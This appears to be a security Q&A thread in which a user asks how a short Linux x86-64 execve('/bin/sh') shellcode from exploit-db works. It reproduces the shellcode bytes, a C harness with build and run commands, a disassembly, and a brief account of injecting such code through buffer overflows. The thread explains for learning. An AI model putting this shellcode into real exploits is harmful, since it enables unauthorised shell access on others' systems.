6

I've found this shellcode at https://www.exploit-db.com/exploits/39624/:

#include <stdio.h>
char sh[]="\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void main(int argc, char **argv)
{
    int (*func)();
    func = (int (*)()) sh;
    (int)(*func)();
}

Instructions:

How To Run

$ gcc -o sh_shell sh_shell.c
$ execstack -s sh_shell
$ ./sh_shell

Can someone explain how it actually works?

In what ways can it do harm to something?

What is sh used for? ("뀋_H1ҀR^j;X耰bin/sh" (unicode) or "�_H1�R^j;X�����/bin/sh" (ASCII) don't make much sense, except for the last 6 characters, what are those characters in front?)

  • 2
    It seems likely that this hex string encodes an assembly language function: stackoverflow.com/questions/9960721/… – Brent Kirkpatrick Apr 9 '16 at 1:57
  • Alright, but how does that "survive" the compiler? I believe the full assembly code is given in that link in my question (maybe I should include it in my question) - it matches closely what I'm getting when disassembling: onlinedisassembler.com/odaweb/nGIdD4wu/0 – Shomz Apr 9 '16 at 2:07
  • The use of the function pointer means that the compiler will not compile the contents of variable sh. – Brent Kirkpatrick Apr 9 '16 at 2:13
  • It looks like the assembly code is constructing an address and registers for a system function call and then running that function call: en.wikibooks.org/wiki/X86_Assembly/Interfacing_with_Linux – Brent Kirkpatrick Apr 9 '16 at 2:15
  • You left out the fact that the exploit is called execve(/bin/sh). That is because the shellcode execve's the shell. The exploit has the assembly language code for the shellcode in the comments. I guess I'm not sure what your question is. – Neil Smithline Apr 9 '16 at 4:59
8

using ndisasm, the data in the sh array can be disassembled into the following valid 64bit x86-machinecode:

00000000  EB0B              jmp short 0xd
00000002  5F                pop rdi
00000003  4831D2            xor rdx,rdx
00000006  52                push rdx
00000007  5E                pop rsi
00000008  6A3B              push byte +0x3b
0000000A  58                pop rax
0000000B  0F05              syscall
0000000D  E8F0FFFFFF        call qword 0x2
00000012                    '/bin/sh'

It looks line simple position-independent shellcode to do a kernel syscall to execute /bin/sh.

The first instruction jumps ahead to the instruction just before the /bin/sh string, that in turn does a call back to the second instruction again. The return address is then popped from the stack into register rdi. This is a trick to get the memeory address of the /bin/sh string, since the shellcode does not know where in memory it is when it gets executed.

The register rdx is then set to 0 and pushed to the stack and poped back into register rsi. The byte 0x3b is then pused to the stack and popped back into register rax.

We are now set up as follows:

  • rdi = pointer to the string /bin/sh
  • rdx = 0
  • rsi = 0
  • rax = 0x3b

At this point, we hand over control to the kernel with syscall, where the argument 0x3b in rax tells it to execve() the file path that is at pointer rdi

If we translate this back into C, it is basicly doing:

execve('/bin/sh', NULL, NULL);
  • Perfect explanation, thank you! Can you just explain how can this be harmful, is it injected into another process? – Shomz Apr 9 '16 at 11:18
  • 1
    Yes, exactly. One common way is by overwriting the stack via some variable, controlling the return adress and tricking the CPU to jump to your own code. – tlund Apr 9 '16 at 12:33
-1

Knowing exactly what this code does requires knowing the OS and the processor for the platform. The sh variable contains hexadecimal instructions for the processor, and this contents of the variable are not compiled by the compiler. The three lines in main() are used to call the sh variable as a function pointer. The contents of sh contain instructions for executing a system call to Linux. Probably this code gives the attacker access to the SH shell.

It looks to me like this C code is the beginning of a code-injection exploit. One could design the code to inject by testing it a C program like this one. Then in order to implement the code injection, the attacker just needs to have access to a buffer that overflows and needs to copy and paste something like this code into the over-flow portion of the buffer. This type of attack is called a buffer overrun. The SH shell in this exploit would run with the same permissions as the program with the exploited buffer overrun.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.